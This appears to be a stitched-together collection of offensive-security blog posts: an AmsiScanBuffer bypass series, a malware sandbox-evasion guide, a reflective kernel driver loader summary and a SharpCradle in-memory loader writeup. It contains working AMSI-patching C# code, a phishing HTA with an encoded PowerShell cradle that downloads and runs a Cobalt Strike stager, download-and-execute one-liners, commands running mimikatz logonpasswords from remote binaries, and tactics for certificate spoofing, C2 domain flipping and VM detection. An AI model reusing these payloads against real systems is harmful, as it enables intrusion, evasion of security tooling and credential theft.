AmsiScanBuffer Bypass — Part 3

( Original text by  )

In Part 2, we engineered a delivery method for the AmsiScanBuffer Bypass discussed in Part 1. In this post, we’ll make some modifications to the bypass itself.

If you read Part 1 and the original posts from CyberArk, you will know that the bypass works by patching the AMSI DLL in memory. But before we make any modifications to the bypass — let’s explore that in some additional detail, so we all have a clear baseline understanding.

Bypass Primer

We can use API Monitor to have a peak at what’s going on.

To summerise what we’re looking at:

  1. powershell.exe starts and amsi.dll is loaded into its memory space.
  2. We type something into the console.
  3. The AmsiScanBuffer function is called.
  4. Where our input is passed into.

This is the AmsiScanBuffer function as documented by Microsoft:

HRESULT AmsiScanBuffer(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,
  ULONG        length,
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result
);

We won’t worry about all of this — just the idea that we have a buffer of length, that when scanned, returns a result. To help visualise the bypass, let’s throw PowerShell into a debugger.

We’ll set a breakpoint on the AmsiScanBuffer function and type something into the console.

We step down to the mov edi, r8d instruction — because we know from CyberArk that r8d contains the length of the buffer. We can also see that in Binary Ninja.

After the instruction, both edi and r8d contain 2c — which in decimal is 44. Our string "this is some garbage" is 22 characters, so this checks out (bits and bytes, amirite). In the context of AmsiScanBuffer, it’s saying “scan 22 bytes of this buffer”.

The bypass works by slightly patching this instruction — changing mov edi, r8d to xor edi, edi. Because if you xor two identical values, i.e. the current value of edi (whatever it happens to be) with itself, the result is always 0. So if we run the bypass and look at the instructions again…

edi is now zero — i.e. “scan 0 bytes of this buffer”. So if AmsiScanBuffer scans 0 bytes, it will not actually scan anything at all.

AMSI_RESULT_CLEAN

So the whole reason for this post, is that I was talking to Kuba Gretzky about the bypass after I’d posted my Part 1. He said:

the risky part with the bypass is that it uses a fixed offset from the start of the function AmsiScanBufferPtr + 0x001b. MS can just slightly modify the AmsiScanBuffer function and the bypass will result in a crash. It would be wiser to do hotpatching at the beginning of the function to return a result that would say that nothing was found.

If we have have a look at the AMSI_RESULT details that we glossed over previously — there are different results that can be returned.

typedef enum AMSI_RESULT {
  AMSI_RESULT_CLEAN,
  AMSI_RESULT_NOT_DETECTED,
  AMSI_RESULT_BLOCKED_BY_ADMIN_START,
  AMSI_RESULT_BLOCKED_BY_ADMIN_END,
  AMSI_RESULT_DETECTED
} ;

So could we just patch the function so that it always returns AMSI_RESULT_CLEAN?

Revisiting the AmsiScanBuffer function in Binary Ninja, we can see there are a whole bunch of instructions followed by conditional jumps, but all to the same address: 0x180024f5.

The content of which is a mov eax, 0x80070057 instruction, which we guessed meant AMSI_RESULT_CLEAN.

The original bypass was:

Byte[] Patch = { 0x31, 0xff, 0x90 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
MoveMemory(ASBPtr + 0x001b, unmanagedPointer, 3);

Which we modified to:

Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(6);
Marshal.Copy(Patch, 0, unmanagedPointer, 6);
MoveMemory(ASBPtr, unmanagedPointer, 6);

Where 0xB8, 0x57, 0x00, 0x07, 0x80 are the (hex) opcodes for mov eax, 0x80070057; and 0xC3 is a retn. And notice there is no offset — we are patching the first two instructions in the function.

Before we carry out this patch, we can verify those first two instructions at the AmsiScanBuffer pointer.

They match what we expect from Binary Ninja. If we implement our new patch and look again…

The rest of the instructions become a bit munged, but that doesn’t matter. Hopefully we’ll just enter AmsiScanBuffer, immediately set eax and return.

Which seems to work just fine.

This is no “better” than the previous bypass, but hopefully will be a little more resilient against future modifications to amsi.dll by Microsoft.

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AmsiScanBuffer Bypass — Part 2

( Original text by  )

In Part 1, we had a brief look at the AmsiScanBuffer bypass technique. We found some circumstances where the bypass code would be identified as malicious before it could be executed (which turned out to be a simple string detection), and modified the code to circumvent this.

In this post, we’ll explore a delivery method to help stage a Cobalt Strike / Empire / <insert framework here> agent. As with Part 1, this is not about some 1337 code drop — it’s a demonstration of how I walked through engineering the final result.

So, let’s get cracking.

Before we start, we have a few goals in mind:

  1. Deliver “something” to a user, via a phish or some other social engineering event.
  2. The initial payload should ideally have a small footprint. We don’t want to deliver everything in one go.
  3. Perform the AMSI bypass.
  4. If the bypass was successful, stage a beacon.
  5. Otherwise, run for the hills.

For the delivery method, we’ll use an HTA with a PowerShell payload. That payload will pull and execute the AMSI Bypass code, then if successful, pull and execute the beacon stager. Simple 🙂

Generate Stager

We’ll start by generating a simple stager, host it on a web server and just verify that AMSI does indeed prevent it from running. We’ll be serving these payloads using download cradles, so it’s always worth making sure they behave as you expect.

AMSI Bypass

For the AMSI Bypass payload, we’ll throw the C# source into a PowerShell script and use Add-Type to make it available within the PowerShell session.

$Ref = (
«System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089«,
«System.Runtime.InteropServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a«
)
$Source =
using System;
using System.Runtime.InteropServices;
namespace Bypass
{
public class AMSI
{
[DllImport(«kernel32»)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport(«kernel32»)]
public static extern IntPtr LoadLibrary(string name);
[DllImport(«kernel32»)]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport(«Kernel32.dll», EntryPoint = «RtlMoveMemory», SetLastError = false)]
static extern void MoveMemory(IntPtr dest, IntPtr src, int size);
public static int Disable()
{
IntPtr TargetDLL = LoadLibrary(«amsi.dll»);
if (TargetDLL == IntPtr.Zero) { return 1; }
IntPtr ASBPtr = GetProcAddress(TargetDLL, «Amsi» + «Scan» + «Buffer»);
if (ASBPtr == IntPtr.Zero) { return 1; }
UIntPtr dwSize = (UIntPtr)5;
uint Zero = 0;
if (!VirtualProtect(ASBPtr, dwSize, 0x40, out Zero)) { return 1; }
Byte[] Patch = { 0x31, 0xff, 0x90 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
MoveMemory(ASBPtr + 0x001b, unmanagedPointer, 3);
return 0;
}
}
}
«@
Add-Type ReferencedAssemblies $Ref TypeDefinition $Source Language CSharp
view rawASBBypass.ps1 hosted with ❤ by GitHub

We’ll then test it out by downloading and executing it, then running the stager that failed earlier.

All good so far.

Next step is to hook in the logic for deciding whether the AMSI bypass was successful. There are a couple of opportunities in the Disable() function where it returns an int of 1 if something fails and 0 if it makes it to the end.

So in pseudo-code we can say something like execute bypass; if (bypass -eq "0") { execute stager }. If bypass returns 1, we naturally don’t do anything more.

HTA

To execute that PowerShell inside an HTA, we can base64 encode it so we don’t have to worry about escaping characters.

$string = 'iex ((new-object net.webclient).downloadstring("http://192.168.214.129/amsi-bypass")); if([Bypass.AMSI]::Disable() -eq "0") { iex ((new-object net.webclient).downloadstring("http://192.168.214.129/stager")) }'

[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($string))

The final HTA is nice and small.

<script language="VBScript">
    Function var_func()
        Dim var_shell
        Set var_shell = CreateObject("Wscript.Shell")
        var_shell.run "powershell.exe -nop -w 1 -enc aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAxADQALgAxADIAOQAvAGEAbQBzAGkALQBiAHkAcABhAHMAcwAiACkAKQA7ACAAaQBmACgAWwBCAHkAcABhAHMAcwAuAEEATQBTAEkAXQA6ADoARABpAHMAYQBiAGwAZQAoACkAIAAtAGUAcQAgACIAMAAiACkAIAB7ACAAaQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAxADQALgAxADIAOQAvAHMAdABhAGcAZQByACIAKQApACAAfQA=", 0, true
    End Function

    var_func
    self.close
</script>

Finally, we host the HTA and test it with C:\Users\Rasta>mshta http://192.168.214.129/delivery.hta.

The web logs show us exactly what we expect.

  1. AMSI download
  2. Stager download
  3. Beacon checkin
10/31 11:22:44 visit from: 192.168.214.1
    Request: GET /amsi-bypass
    page Serves /opt/cobaltstrike/uploads/AMSIBypass.ps1
    null

10/31 11:22:44 visit from: 192.168.214.1
    Request: GET /stager
    page Serves /opt/cobaltstrike/uploads/stager.ps1
    null

10/31 11:22:44 visit from: 192.168.214.1
    Request: GET /__init.gif
    beacon beacon stager x64
    Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)

Awesome sauce. And for those who want it, I also uploaded the code to GitHub.

AmsiScanBuffer Bypass — Part 1

( Original text by  )

Andre Marques recently posted a pretty nice write-up for circumventing AMSI, based on previous work by CyberArk.

Please read these for all the technical details — we’re launching this post with the C# code from Andre:

using System;
using System.Runtime.InteropServices;

namespace Bypass
{
    public class AMSI
    {
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
        static extern void MoveMemory(IntPtr dest, IntPtr src, int size);


        public static int Disable()
        {
            IntPtr TargetDLL = LoadLibrary("amsi.dll");
            if (TargetDLL == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer.");
                return 1;
            }

            IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");
            if (AmsiScanBufferPtr == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer");
                return 1;
            }

            UIntPtr dwSize = (UIntPtr)5;
            uint Zero = 0;
            if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))
            {
                Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!");
                return 1;
            }

            /*
             * This is a new technique, and is still working.
             * Source: https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/
             */
            Byte[] Patch = { 0x31, 0xff, 0x90 };
            IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
            Marshal.Copy(Patch, 0, unmanagedPointer, 3);
            MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);

            Console.WriteLine("AmsiScanBuffer patch has been applied.");
            return 0;
        }
    }
}

I don’t think it’s clear from Andre’s post which version of Windows 10 he was testing against, but the CyberArk post specifically references 1709 (17074) and was originally posted on 23 May 2018. Microsoft have been doing a really effective job as of late, with keeping Defender and AMSI up-to-date. Even though MSRC said they would not fix it, they did say:

We don’t see this as a security vulnerability – but we’ll definitely look into what we can do to prevent (or detect) this type of attacks.

So at the time of writing (29 October 2018), I’m on Windows 10 1803 (17134). Does this bypass still work? Turns out the answer is yes, and no.

I copied the code verbatim, compiled to a DLL and attempted to load it via reflection, which failed:

Not a good start.

I had some suspects in mind, such as:

  • IntPtr TargetDLL = LoadLibrary("amsi.dll"); <- Maybe just loading AMSI is bad, but unlikely.
  • IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer"); <- Finding the address of AmsiScanBuffer.
  • if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero)) <- Modifying the permissions of a memory region.

And pretty much all of this…

Byte[] Patch = { 0x31, 0xff, 0x90 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);

Because the code is relatively short, I thought I would just step through it line-by-line to see if I could find the offending content. I did this in PowerShell ISE, by putting all the C# into a text variable and “running” the script. Then, systematically removing a couple of lines of code each time, until I got to the point AMSI wasn’t flagging anymore.

To simplfy the process, I shortened the code a bit more by removing the if statements and removing console output. So my version became:

using System;
using System.Runtime.InteropServices;

namespace Bypass
{
    public class AMSI
    {
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
        static extern void MoveMemory(IntPtr dest, IntPtr src, int size);

        public static int Disable()
        {
            IntPtr TargetDLL = LoadLibrary("amsi.dll");
            IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");

            UIntPtr dwSize = (UIntPtr)5;
            uint Zero = 0;

            VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero);

            Byte[] Patch = { 0x31, 0xff, 0x90 };
            IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
            Marshal.Copy(Patch, 0, unmanagedPointer, 3);
            MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);

            return 0;
        }
    }
}

Eventually, I found only 3 lines were causing the alerts. IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero)) and MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);.

The one thing they all have in common…? Yep, the string (or substring) AmsiScanBuffer!

You can actually test this by just typing it into a PowerShell window…

And some funny consequences…

It’s also worth noting "Amsi Scan Buffer" also flags, but others like "AmsixScanxBuffer" or "Amsi.Scan.Buffer" are fine.

But this also means the reason my first reflection test failed, was probably down to this string being in my path and not the actual file itself. So I renamed everything and tried again…

Success.

This is still only a “somewhat limited” solution, because there are more ways we might want to load this code. If we want to use this directly in a PowerShell script, we could do [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String("")) without issue, which to be honest, is probably the most elegant way.

But if we want to do it this way, we’re still stuck.

$Ref = (
    [...]
)

$Source = @"
[...]
"@

Add-Type [...]

Of course, this is relatively straight forward to fix.

IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer"); becomes IntPtr ASBPtr = GetProcAddress(TargetDLL, "Amsi" + "Scan" + "Buffer");.

VirtualProtect(AmsiScanBufferPtr, (UIntPtr) 5, 0x40, out uint Zero); becomes VirtualProtect(ASBPtr, dwSize, 0x40, out Zero);.

MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3); becomes MoveMemory(ASBPtr + 0x001b, unmanagedPointer, 3);.

 

Malware on Steroids Part 3: Machine Learning & Sandbox Evasion

 

( Original text by Paranoid Ninja )

It’s been a busy month for me and I was not able to save time to write the final part of the series on Malware Development. But I am receiving too many DMs on Twitter accounts lately to publish the final part. So here we are.

If you are reading this blog, I am basically assuming that you know C/C++ and Windows API by now. If you don’t, then you should go back and read my other blogs on Static AV Evasion and Malware Development using WINAPI (basics).

In this post, we will be using multiple ways to evade endpoint detection mechanisms and sandboxes. Machine Learning is applied at two major levels in most organization. One is at the network level where it tries to identify anomalies based on the behavior of network connections, proxy logs and pattern of connections over time. Most Network ML Solutions tend to analyze beacons of malwares and DPI (deep packet inspection) to identify the malware. This is something that Microsoft ATA (Advanced Threat Analytics), or FireEye sandboxes do. On the other hand, we have Endpoint agents like Symantec EP, Crowdstrike, Endgame, Microsoft Cloud Defender and similar monitoring tools which perform behavioral analysis of the code along with signature detection to detect malicious processes.

I will purely be focusing on multiple ways where we can make our malware behave like a legitimate executable or try to confuse the Endpoint agent to evade detection. I’ve used the methods mentioned in this blog to successfully evade Crowdstrike Agent, Symantec EP and Microsoft Windows Cloud Defender, the videos of the latter which I have already posted in my previous blogs. However, you might need to modify or add new techniques as this might become detectable over time. One of the best ways to avoid AV is to disable the Process creation altogether and just use WINAPI. But that would mean carefully crafting your payloads and it would be difficult to port them for shellcoding. That’s the main reason malware authors write their malwares in C, and only selected payloads in shellcode. A combination of these two makes malwares unbeatable on all fronts.

Each of the techniques mentioned below creates a unique signature which most AVs won’t have. It’s more of a trail and error to check which AVs detect which techniques. Also remember that we can use stubs and packers for encryption, but that’s for a different blog post that I will do later.

P.S.: This blog is exclusive of shellcodes, reason being I will be writing a separate blog series on windows Shellcoding later. I will be using encrypted functions during the shellcoding part and not in this post. This post is specifically how Malware authors use C to perform evasions. You can also use the same APIs and code snippets mentioned below to craft a custom malware for Red Teaming.

main():

So, before we start let’s try to get a based understanding of how Machine learning works. Machine learning is purely focused on the behaviour of the user (in case of endpoints). In short, if we sign our malware and try to make it act like a legitimate executable, it becomes really easy to evade ML. I’ve seen people using PowerShell to write reverse shells, but they get easy detectable due to Microsoft’s AMSI (Anti-Malware Scan Interface) which consistently keeps on checking (including and mainly PowerShell) to detect malicious process executions and connections.  For those of you who don’t know, Microsoft uses DMTK(Microsoft Distributed Machine Learning Toolkit) framework which is basically a decision tree based algorithm which specifies whether a file is malicious or not. PowerShell is very tightly controlled by Microsoft and it gets harder over time to evade ML when using PowerShell.

This is the reason I decided to switch to C and C++ to get reverse shells over network so that I could have flexibility at a lower level to do whatever I want. We will be using a lot of windows APIs, encrypted variables and a lot of decision tree of our own to evade ML. This it supposed to work till Microsoft doesn’t start using CNTK framework which is a much better framework than DMTK, but harder to apply at the same time.

Encrypted Host & Process Names

So, the first thing to do is to encrypt our hostname. We can possibly use something as simple as XOR, or any custom complicated mathematical equation to decrypt our encrypted variable to get the hostname. I created a python script which takes a hostname and a character and returns a Xor’d Array:

As you can see, it gives the Key value in integer of the Xor Key, the length of the encrypted array and the whole Encrypted array which we can simply use in a C integer or char array.

The next step is to decrypt this array at runtime and we need to hardcode the key inside the executable. This is the only key that we would be hardcoding into the code. Also, to make it complicated for the reverse engineer, we will write a C function to automatically detect that the last integer is the key and use that to loop through the array to decrypt the encrypted string. Below is how it would look like

So, we are creating a char buffer of the size of EncryptedHost on heap. We are then passing the host, length and decrypted host variable to the Decrypter function. Below is how the Decrypter function looks:

To explain in short, it creates an Encrypted Integer array of our char array  and xors them back again using the key to convert the encrypted value to the original value and stores them in the DecryptedData array we created previously. With the help of this, if someone runs strings, they wouldn’t be able to see any host in the executable. They would need to understand the math and set a proper breakpoint in Debugger to fetch the C2 host. You can create more complicated mathematical equations to decrypt host if required. We can now use this DecryptedData array within our sockets to connect to the remote host.

P.S.: Reverse Engineers & Sandboxes can fetch the C2 names with the help of packet captures and DNS Name Resolutions. It is better to send raw packets to multiple hosts to confuse which one is the real C2 server. But at the same time, this can lead to easy  detection of the malware. Check my Legitimate Domain Routing technique below which is much better than using this.

If you’ve read my previous post, then you know that I created a cmd.exe process using the CreateProcessW winAPI. We can do what we did above for Creating Processes as well. But instead of hardcoding the Encrypted array for the Process to be executed, we will send the process name as an array over network once the executable connects to the C2 Server along with the host. We can also use authentication on C2 server, and only allow it to connect if it sends a proper key. Below is the Code for Creating Processes using Encrypted Char array over sockets

In this way, when a system sandboxes our executable, it won’t know that what process are we executing beforehand inside a sandbox. Below is a much clearer description of what we are doing:

  1. Decrypt C2 host at runtime and connect to host
  2. Receive password and verify if it is right
  3. If the key is right, wait for 5 seconds to receive encrypted array(process name) over socket
  4. Decrypt the received Process and run it using CreateProcessW API

With the help of the above technique, if our C2 is down, then the sandbox/analyst will not be able to find what we are executing since we have not hardcoded any processes to execute.

Code Signing with Spoofed Certs

I wrote a Script in python which can fetch and create duplicate certificates from any website which we can use for code signing. One thing I noticed is that Antiviruses don’t check and verify the whole chain of the certificate. They don’t even verify the authenticity. The main reason being not every antivirus can connect to internet in every organization to fetch and verify the ceritificates for every third party application installed. You can find the Certificate spoofing python script on my GitHub profile here.

And this is the scan results of Windows ML Defender after Signing:

Next thing is we will try to add a few features to our malware to detect if we are running in a sandbox or inside a virtual machine. We will try to evade Sandboxes as much as possible and kill our executable as soon as we find anything suspicious. We need to make sure that our malware doesn’t even look suspicious. Because if it does, then the sandbox will quarantine it and send an alert that there is a suspicious process running. This is worse than detection because this is where most SOC detects the malware and the Red Teaming gets detected.

Legitimate Domain Routing (Evade Proxy Categorization Detection and Endpoint Detection)

This is one of the best techniques I’ve found out till date which almost works every time. Let’s say I buy a C2 domain named abc.com. I will modify the A records so that it points to Microsoft.com or some similar legitimate site for a month or so. When the malware executes on the vicim’s system, it will connect to this domain which will send a normal HTTP reply from Microsoft and the malware will go to sleep for a few hours and then loop into doing the same thing. Now whenever I want to get a reverse shell of my malware, I will simply change the A records of abc.com to my C2 hosting server and it will send a key in HTTP to the malware which will trigger it to fetch shellcode or send a shell back to my C2. This way, our abc.com will also get categorized as a legitimate domain instead of malicious or phishing site. And even the Endpoint systems will not block it since it is contacting a legitimate domain. Over time I’ve also used Symantec’s website to connect as a temporary domain, later changing it to my malicious C2 server.

Check System Uptime & Idletime (Evades Virtual Machine Sandboxes)

If our executable is running in a virtual machine, the uptime will be pretty short since it will boot up, perform analysis on our binary and then shutdown. So, we can check the uptime of the machine and sleep till it reaches 20-30 minutes and then run it. Make sure to use NTP to check the time with external domain, else Sandboxes can fast-forward system time for process executions. Checking via NTP will make sure that correct time is checked. Below is the code to check uptime of a system and also idle time in case required.

Idletime:

Uptime:

Check Mac Address of Virtual Machine (Known OUIs)

Vmware, Virtual box, MS Hyper-v and a lot of virtual machine providers use a fixed MAC Unique identifier which can be used to run in a loop to check if current mac address matches to any of those mentioned in the list. If it is, then it is highly possible that the malware is running in a virtual environment, mostly for the purpose of sandboxing and reverse engineering. Below are the OUIs that I know for the moment. If there are more, do let me know in the comments.

Company and Products MAC unique identifier (s)
VMware ESX 3, Server, Workstation, Player 00-50-56, 00-0C-29, 00-05-69
Microsoft Hyper-V, Virtual Server, Virtual PC 00-03-FF
Parallels Desktop, Workstation, Server, Virtuozzo 00-1C-42
Virtual Iron 4 00-0F-4B
Red Hat Xen 00-16-3E
Oracle VM 00-16-3E
XenSource 00-16-3E
Novell Xen 00-16-3E
Sun xVM VirtualBox 08-00-27

Below is the C code to detect mac address of a Windows machine:

Execute shellcode when a specific key is pressed. (Sleep & hook method)

Here, we are only executing our shellcode/malicious process when the user presses a specific key. For this, we can hook the keyboard and create a list of multiple keys that specify what kind of shellcode needs to be executed. This is basically polymorphism. Every time a different shellcode depending on the key will confuse the Antivirus, and secondly in a sandbox, no one presses any key. So, our malware won’t execute in a sandbox. Below is the Code to hook the keyboard and check the key pressed.

P.S.: Below code can also be used for Keylogging 😉

Check number of files in Temp and Recent Files

Whenever a malware is running in a sandbox, the sandbox will have the minimum number of recent files in the virtual machine reason being sandboxes are not used for usual work. So, we can run a loop to check the number of recent files and also files in temp directory to check if we are running in a virtual machine. If the number of recent files are less than 10-15, just sleep or suspend itself. Below is a code I wrote which loops to check all files and folders in a directory:

Now I can keep on going like this, but the blog will just get lengthier with this. Besides, below are a few things you can code to check if we are running in a sandbox:

  1. Check if the hard disk size is greater than 60 GB (Default Virtual Machine Sandbox Size is <100GB)
  2. Check if Packet Capture Driver is installed in the registry (To check if Wireshark or similar is running for packet analysis)
  3. Check if Virtual Box additions/extension pack is installed
  4. WannaCry DNS Sinkhole Method

This is another method which WannaCry used. So basically, the malware will try to connect to a domain that doesn’t exist. If it does, it means the malware is running in a sandbox, since Sandboxes will reply to a NX Domain too to check if that’s a C2 Server. If we get a NX domain in reply, then we can directly connect to the C2 host. BEWARE, that DNS Sinkholes can prevent your malware from executing at all. Instead you can buy a certain domain and check for a customized response to check if you are running in a sandbox environment.

Now, there are much more different ways to evade ML and AV detection and they aren’t really that hard. Evading ML based AVs are not rocket science as people say. It’s just that it requires more of free time to sit and understand how the underlying architecture works and find flaws to evade it.

It’s much better to invest in a highly technical Threat Hunter for detecting suspicious behaviors in your environment’s and logs rather than buying a high-end Sandbox or Antivirus Solution, though the latter is also useful in it’s own sense too.

 

Library to reflectively load a driver and bypass Windows Driver signing enforcement .

Картинки по запросу kernel driver signing

About

Reflective Kernel Driver injection is a injection technique base off Reflective DLL injection by Stephen Fewer. The technique bypasses Windows driver signing enforcement (KMCS). Reflective programming is employed to perform the loading of a driver from memory into the kernel. As such the driver is responsible for loading itself by implementing a minimal Portable Executable (PE) file loader. Injection works on Windows Vista up to Windows 10, running on x64.

An exploit for the Capcom driver is also included as a simple usage example.

Overview

The process of injecting a driver into the kernel is twofold. Firstly, the driver you wish to inject must be written into the kernel address space. Secondly the driver must be loaded into kernel in such a way that the driver’s run time expectations are met, such as resolving its imports or relocating it to a suitable location in memory.

Assuming we have ring0 code execution and the driver we wish to inject has been written into an arbitrary location of memory kernel, Reflective Driver Injection works as follows.

  • Execution is passed, either via PSCreateSystemThread() or a tiny bootstrap shellcode, to the driver’s ReflectiveLoader function which is located at the beginning of the driver’s code section (typically offset 0x400).
  • As the driver’s image will currently exists in an arbitrary location in memory the ReflectiveLoader will first calculate its own image’s current location in memory so as to be able to parse its own headers for use later on.
  • The ReflectiveLoader will then use MmGetSystemRoutineAddress (assumed to be passed in as arg0) to calculate the addresses of six functions required by the loader, namely ExAllocatePoolWithTag, ExFreePoolWithTag, IoCreateDriver, RtlImageDirectoryEntryToData, RtlImageNtHeader, and RtlQueryModuleInformation.
  • The ReflectiveLoader will now allocate a continuous region of memory into which it will proceed to load its own image. The location is not important as the loader will correctly relocate the image later on.
  • The driver’s headers and sections are loaded into their new locations in memory.
  • The ReflectiveLoader will then process the newly loaded copy of its image’s relocation table.
  • The ReflectiveLoader will then process the newly loaded copy of its image’s import table, resolving any module dependencies (assuming they are already loaded into the kernel) and their respective imported function addresses.
  • The ReflectiveLoader will then call IoCreateDriver passing the driver’s DriverEntry exported function as the second parameter. The driver has now been successfully loaded into memory.
  • Finally the ReflectiveLoader will return execution to the initial bootstrap shellcode which called it, or if it was called via PSCreateSystemThread, the thread will terminate.

Build

Open the ‘Reflective Driver Loading.sln’ file in Visual Studio C++ and build the solution in Release mode to make Hadouken.exe and reflective_driver.sys

Usage

To test load Capcom.sys into the kernel then use the Hadouken.exe to inject reflective_driver.sys into the kernel e.g.:

Hadouken reflective_driver.sys

DOWNLOAD

SharpCradle — Loading remote C# binaries and executing them in memory

Картинки по запросу C# .net( Original text by  )

I am not a security researcher, expert, or guru.  If I misrepresent anything in this article, I assure you it was on accident and I will gladly make any updates if needed.  This is intended for educational purposes only.

Background:

Over the last 4-5 years I have dabbled with using C# for offensive purposes, starting first with running Powershell via C# runspaces and then slowly digging into other ways you could use the language offensively.  This eventually led to an idea a few years ago of attempting to write a post exploitation framework all in C#.  Unfortunately, no one told me that trying to write a full functioning post exploitation framework by yourself was not only extremely time consuming but also extremely hard.  So I decided it would be much easier to release small tools that have the functionality of some of the modules I had been working on, the first release being SharpCradle.

What it does:

SharpCradle loads a remote C# PE binary from either a remote file or web server using the file / web stream classes (respectively) into a byte[] array in memory.  This array is then executed using the assembly class.

How this could be useful:

SharpCradle isn’t exactly the same as our traditional powershell download cradle ( IEX (New-Object Net.Webclient).downloadstring(«http://IP/evil.ps1») ) but the concept, at least to me, is the same.  We are simply reaching out from our victim’s machine to somewhere remotely and retrieving our evil code and executing it in memory.  This helps in bypassing endpoint protections by making it harder to detect what exactly we are up to.  In fact, I have used this on a wide variety of client engagements and it has yet to get flagged, though I am sure that will eventually change as defenses are getting better every day.

Caveat:

This does not work for ALL binaries but only those written using managed code, such as C# or Visual Basic .NET.

Short example:

Since my good friend @g0ldengunsec and I just released SharpSploitConsole v1.1, which takes advantage of the awesome tool SharpSploit written by @cobbr_io, I will be using it as my «evil.exe» program that we will pull into memory using SharpCradle.

By running SharpCradle.exe without any arguments, you will see the below:

xamples

Web Server Download:

SharpCradle.exe -w https://IP/Evil.exe <arguments to pass>

SharpCradle.exe -w https://IP/SharpSploitConsole_x64.exe logonpasswords

File Server Download Anonymous:

SharpCradle.exe -f \\IP\share\Evil.exe <arguments to pass>

SharpCradle.exe -f \\IP\share\SharpSploitConsole_x64.exe logonpasswords

File Server Download With Creds:

SharpCradle.exe -f -c domain username password \\IP\share\Evil.exe <arguements to pass>

SharpCradle.exe -f -c domain username password \\IP\share\SharpSploitConsole_x64.exe logonpasswords

Download .NET inline project file from web:

SharpCradle.exe -p https://192.168.1.10/EvilProject.csproj

By simply running SharpCradle.exe with the -w flag and giving it the web address of SharpSploitConsole_x64.exe with arguments, you will see that we are able to execute SharpSploitConsole in memory without the SharpSploitConsole binary ever touching disk.

An example of downloading the binary into memory and executing the function logonpasswords from mimikatz would look like the below:

Since SharpCradle also has the ability to retrieve binaries from a file share, we could,  for example, use Impacket’s smbserver.py to spin up a quick anonymous file share on our attack system and call our evil.exe from there.  We could also go as far as to combine this with post exploitation frameworks. Cobalt Strike’s execute-assembly function currently has a 1MB limit.  SharpCradle could be used as away around this by using Cobalt Strike to execute SharpCradle to pull in larger binaries that are over 1MB in size.

Lastly, I have left a few links to where you can grab the tool as well as stand alone .cs files for both web stream or file stream in case you want to customize your own.

Link to tools:

SharpCradle GitHub — https://github.com/anthemtotheego/SharpCradle

SharpCradle Compiled Binaries — https://github.com/anthemtotheego/SharpCradle/tree/master/CompiledBinaries

SharpCradleWeb.cs —  https://github.com/anthemtotheego/Public/tree/master/Offensive_CSharp/SharpCradleWeb

SharpCradleFileShare.cs — https://github.com/anthemtotheego/Public/tree/master/Offensive_CSharp/SharpCradleShare

